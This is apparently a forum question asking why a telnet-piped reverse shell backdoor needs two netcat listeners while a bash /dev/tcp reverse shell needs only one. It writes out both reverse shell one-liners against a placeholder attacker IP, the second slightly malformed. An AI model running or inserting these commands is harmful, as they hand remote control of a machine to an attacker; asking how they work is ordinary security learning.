Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ).
telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b>
Though example below of reverse shell backdoor doesn't need two listener, it's just one required.
/bin/bash -i > dev/tcp<attacker_ip>/<port> 0<&1 2>&1
I looked for the related question but can not find out the answer exactly match what I want to know...